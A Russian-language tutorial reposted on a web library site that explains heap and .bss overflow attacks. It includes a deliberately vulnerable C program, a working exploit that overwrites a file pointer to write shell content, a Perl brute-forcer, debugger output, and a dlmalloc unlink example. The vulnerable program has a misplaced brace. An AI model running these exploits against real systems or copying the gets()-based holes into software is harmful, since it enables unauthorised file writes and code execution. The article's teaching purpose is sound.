На главную

Библиотека Интернет Индустрии I2R.ru

Rambler's Top100

Малобюджетные сайты...

Продвижение веб-сайта...

Контент и авторское право...

Забобрить эту страницу! Забобрить! Блог Библиотека Сайтостроительства на toodoo
  Поиск:   
Рассылки для занятых...»
I2R » Хакеры и безопасность » Хакеры

Атаки класса heap-based overflow


Начнём с того, что атаки основанные на переполнении хипа (heap - куча) на порядок сложнее в
понимании и реализации, чем атаки основанные на переполнении стэка (buffer overflows).
Документации по этому виду атак мало, но, не смотря на эти факторы, атаки на переполнение
хипа набирают широкий оборот, далеко ходить не стоит, два последних громких эксплойта: apache chunked
encoding exploit и OpenSSH exploit. Ко всему прочему, существет много разновидностей этой атаки
(взависимости от перезаписываемой секции, функции и переполняемого элемента). Для понимания принципа
атаки необходимо знать: C, assembler и атаки stack overflow.

Немного о секциях:

heap - область динамической памяти, выделяемая на стадии исполнения программы.
Пример:
char *something = malloc(90); //something указатель на данные в хипе.

.data - область иннициализированных данных, выделяется на стадии компиляции программы.
Пример:
char *something = "scrap dat";
static char something2 = "brooklyn zoo";

.bss - область неиннициализированных данных, выделяется на стадии исполнения.
Пример:
static int someshit;
static char shit;

Атаки на переполнения хипа тесно связаны с памятью, так что не мешает
повторить значения некоторых функций, работающих с памятью.

void *malloc(size_t size) - выделяет память для обекта, чей размер аргументирован переменной size
void *calloc(size_t nmemb, size_t size) - выделяет память для массива (nmemb), каждый элемент которого имеет размер size.
void *realloc(void *ptr, size_t size) - изменяет размер объекта, на который указывает ptr, на размер size и возвращает указатель на (возможно) перемещённый объект.
void free(void *ptr) - освобождает память, выделенную с помощью функций malloc(), calloc(), realloc(), указателем на которую служит ptr

void *memset(void *buf, int character, size_t len) - пишет len байтов переменной (unsigned char) character в buf.
void *memcpy(void *dst, const void *src, size_t len) - копирует len байтов из переменной src в dst.
void *mmap(void *addr, size_t len , int protect, int flags, int fd, off_t offset) - отображает файл или устройство в память.

все описания функций, которые я дал, могут показаться немного абстрактными, так что обязательно
читайте маны!

Перезапись указателя.

Перезапись указателя: нападающий может переписать различные данные, используя переполнение буффера
расположенного в хипе. Рассмотрим стандартную ситуацию, программа записывает вводимые
пользователем данные в файл. Используется функция gets(), так мы сможем перезаписать указатель на
файл.

$ cat > vul.c

#include <stdio.h>

int
main(int argc, char **argv)
{
FILE *in;
static char buf[16], *inf; // в секции bss

if(argc<2){
puts("./vul ");
exit(0);

inf = "data"; // указатель который будем перезаписывать
printf("enter sumthin': \n");
gets(buf);
printf("После gets(): inf = %s, ",inf); // для удобства выведем указатель inf
in = fopen(inf,"w"); // открываем файл для записи
fputs(buf,in); // записать данные
fclose(in);
}

^D

$ cc -o vul vul.c
$ gdb vul
...
(gdb) r blabla
Starting program: /home/damnass/vul
enter sumthin':
AAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x40086842 in vfprintf ()

(gdb) quit

$ exit

Итак что здесь происходит:
Классическое преполнение буффера происходит в функции gets(), как вы видите функция обращается явно
не в 0x41414141, с-но eip не переписывается. Почему так происходит ? Потому что буффер лежит в сегменте BSS.

Рассмотрим, что происходит при выполнении нижеследующих комманд:

$ echo "dumbshit" | ./vul

В этом коде не просто так включены аргументы (argv). Даже если бы
программа не содержала аргумент, то argv[1] всё равно бы отобразился в памяти
процесса. Так как мы не знаем смещения от argv[1] до esp нам придётся его перебирать.
Для эксплоитации нам нужно сформировать такую строку:

$ echo $BUF | ./vulprog1 nerfed.sh

$BUF - буффер которым будем преполнять.
Эксплойт и брутфорсер к нему:

$ cat > expl.c

// expl.c:
// vul.c exploit
// получем свою запись в любой (nerfed.sh в нашем случае) файл


#include <stdio.h>
#include <unistd.h>
#define VBUF 16 // размер buf в vul.c

u_long
get_sp()
{
__asm__("movl %esp,%eax");
}

int
main(int argc, char **argv)
{

u_long address;
int i, stringsize;
char *string;
char buf[VBUF+14];

if (argc < 2)
{puts("use it like: ./expl0it ");
exit(1);}

memset(buf,0,sizeof(buf));
strcpy(buf,"echo n3rf3d! #"); // копируем байты, которые будут в файле (# - чтобы за коментировать левые стринги при переполнении)
memset(buf+strlen(buf), 0x31, VBUF); // заполняем буфер байтами, которые будут переполнять буффер

address = get_sp() + atoi(argv[1]);

// этот цикл нужен, для систем little endian (большинство) - обработка числа
for (i = 0; i < sizeof(u_long); i++)
buf[VBUF + i] = ((u_long)address >> (i * 8) & 255);

stringsize = strlen(buf) + strlen("./vul") + strlen("nerfed.sh") + 13; // формируем размер string
string = (char *)malloc(stringsize); // создаём динамический массив string
memset(string, 0, sizeof(stringsize));
snprintf(string, stringsize - 1, "echo '%s' | %s %s\n",buf,"./vul", "nerfed.sh"); // заливаем всё в string
printf("addr: %p\n",address);
system(string); // let's execute ! :)
return 0;
}

$ make expl
cc -O2 -o expl expl.c

$ cat > bf.pl
#!/usr/bin/perl

for($i=0;$i<1000;$i++)
{
print "Попытка $i, ";
system("./expl $i");
}

$ perl bf.pl > result
...
...

$ ls -l nerfed.sh
-rw-r--r-- 1 root tim 30 Sep 18 21:07 nerfed.sh

$ strings result | grep nerfed.sh
After gets(): inf = nerfed.sh, addr: 0xcfbfdb6e

$ cat nerfed.sh
echo n3rf3d! #11nш№о1111111111

$ sh nerfed.sh
n3rf3d!
$ exit

Наверняка потребуется повтрный запуск брутфорсера bf.pl.
Можно также переполнить указатель на функцию, но об этом сами думайте...

Немного о dlmalloc.
Хип делится (по Doug Lea's Malloc) на chunks of memory (куски памяти). Обойдясь несколькими словами,
chunk - это кусок памяти, который выделяется/освобождается из памяти при вызове функций семейства malloc.
Но здесь надо заметить, что чанк никогда не равен тому размеру, который задал
пользователь в функции. Размер колеблется в пределах +8 байт.
Данная структура определяет чанк:

struct malloc_chunk {
size_t prev_size; // используется только если предыдущий чанк свободен
size_t size; // размер чанка в байтах + 2 статус-бита
struct malloc_chunk *fd; // используется только для свободных чанков: указатель на следующий чанк
struct malloc_chunk *bk; // используется только для свободных чанков: указатель на предыдущий чанк
};

Советую почитать /usr/share/doc/papers/malloc.ascii.gz.
Немного практики, вот пример уязвимой программы:

// vulnerable code, found in wild web
// by Pierre-Alain FAYOLLE, Vincent GLAUME

int main()
{
char *buf;
char *bufone = (char *)malloc(666); // выделяем память (666 байт) для массива bufone
char *buftwo = (char *)malloc(2); // то же для buftwo, только 2 байта
printf("input: \n");
gets(buf); // ввод пользователя в buf
strcpy(bufone, buf); // копируем buf -> bufone
free(bufone); // освобождаем память от bufone
free(buftwo); // освобождаем память от buftwo
return(1);
}

Посмотрим на строку с strcpy(): здесь возможно переполнить bufone массивом buf (который тоже в свою очередь
переполнен, так как использовалась функция gets()). В любом случае, мы перепишем тэги
чанка, это prev_size, size, malloc_chunk *fd, malloc_chunk *bk. При вызове free() для
первого чанка будет рассматриваться и следующий (второй) чанк - используется он или нет,
функция unlink() отпустит его из листа и укрепит его с освобождённым чанком.

#define unlink(P, BK, FD)
{
BK = P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;
}


Придётся создать создать левый чанк с нужной информацией. Это длительный процесс, который я не
собираюсь описывать, обратитесь к бумаге MaXX'a: vudo-howto.txt.


Здесь всё...

Примите на заметку эту табличку:

Проблемный вызов Проблема Решение
________________________________________________________________________________
| tmpnam(), tempnam() | данные хранятся в хипе | используйте mkstemp() |
| malloc() | смотрите выше | правильно использовать|
| getenv() | данные хранятся в хипе | привильно использовать|
| strdup() | хранит динамические данные в хипе| обойтись аналогами |
| atexit() | проблема в struct atexit *next | обнулить *next |
--------------------------------------------------------------------------------

...
и много других.

Статья не притендует на туториал, на бумагу класса "...for fun and profit".
Это скорее, просто ознакомление с данным видом атак.


Dago.Org

Другие разделы
Прочие опасности
Вирусы
Хакеры
Киберпреступность
Уязвимость ПО
Новое в разделе
Защита данных
I2R-Журналы
I2R Business
I2R Web Creation
I2R Computer
рассылки библиотеки +
И2Р Программы
Всё о Windows
Программирование
Софт
Мир Linux
Галерея Попова
Каталог I2R
Партнеры
Amicus Studio
NunDesign
Горящие путевки, идеи путешествийMegaTIS.Ru

2000-2008 г.   
Все авторские права соблюдены.
Rambler's Top100